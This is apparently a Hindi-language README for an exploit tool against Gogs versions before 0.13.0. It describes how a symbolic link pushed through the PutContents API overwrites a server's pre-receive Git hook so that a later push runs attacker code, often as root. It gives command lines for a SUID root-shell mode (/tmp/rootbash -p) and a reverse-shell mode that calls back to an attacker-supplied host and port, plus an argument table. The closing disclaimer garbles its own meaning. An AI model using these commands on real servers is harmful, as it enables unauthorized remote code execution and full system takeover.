
Gogs में PutContents API में अनुचित सिम्बोलिक लिंक प्रबंधन स्थानीय कोड निष्पादन की अनुमति देता है।
Gogs में PutContents API में अनुचित Symbolic link हैंडलिंग से कोड का स्थानीय निष्पादन संभव है।
इस रिपॉजिटरी में Gogs के 0.13.0 से पहले के संस्करणों में एक गंभीर कमज़ोरी के लिए पेशेवर-स्तर का एक्सप्लॉइट शामिल है। यह एक्सप्लॉइट एक तार्किक त्रुटि का लाभ उठाता है जहां Gogs API रिपॉजिटरी सामग्री अपडेट करते समय फ़ाइल प्रकारों को मान्य नहीं करता। एक प्रतीकात्मक लिंक (symbolic link) इंजेक्ट करके जो सर्वर-साइड Git हुक (pre-receive) की ओर इशारा करता है, एक प्रमाणित उपयोगकर्ता हुक की सामग्री को एक दुर्भावनापूर्ण स्क्रिप्ट से ओवरराइट कर सकता है। इसके बाद Git push संचालन इस स्क्रिप्ट को Gogs सेवा चलाने वाले उपयोगकर्ता (आमतौर पर root) के संदर्भ में निष्पादित करने के लिए ट्रिगर करते हैं।
Symlink इंजेक्शन: हमलावर एक प्रतीकात्मक लिंक को आंतरिक रिपॉजिटरी हुक (जैसे /root/gogs-repositories/<user>/<repo>.git/hooks/pre-receive) की ओर इंगित करते हुए पुश करता है।
API ओवरराइट: Gogs API प्रतीकात्मक लिंक की सामग्री अपडेट करने की अनुमति देता है। चूंकि ऑपरेटिंग सिस्टम लिखने के दौरान लिंक का अनुसरण करता है, आंतरिक Git हुक ओवरराइट हो जाता है।
RCE / विशेषाधिकार वृद्धि: एक फॉलो-अप Git push pre-receive हुक को ट्रिगर करता है। यदि Gogs को RUN_USER = root से कॉन्फ़िगर किया गया है, तो हमलावर को पूर्ण सिस्टम नियंत्रण प्राप्त होता है।
python3 exploit.py --url http://target:3000 --user <username> --pass <password> --mode suid
पूर्ण होने पर, लक्ष्य पर root एक्सेस प्राप्त करें:
/tmp/rootbash -p
python3 exploit.py --url http://target:3000 --user <username> --pass <password> --mode rev --lhost <your_ip> --lport 4444
यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा ऑडिटिंग के लिए है। लेखक उन सिस्टमों पर इस उपकरण के किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं है जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति है।
| आर्गुमेंट | आवश्यक? | विवरण |
|---|
--url | हाँ | Gogs इंस्टेंस का आधार URL (जैसे http://127.0.0.1:3001) |
--user | हाँ | प्रमाणीकरण के लिए मान्य उपयोगकर्ता नाम |
--pass | हाँ | निर्दिष्ट उपयोगकर्ता के लिए मान्य पासवर्ड |
--mode | नहीं | एक्सप्लॉइट मोड: suid (/tmp/rootbash बनाता) या rev (रिवर्स शेल) |
--lhost | नहीं | रिवर्स शेल कॉलबैक के लिए स्थानीय IP पता |
--lport | नहीं | रिवर्स शेल सुनने वाले के लिए स्थानीय पोर्ट |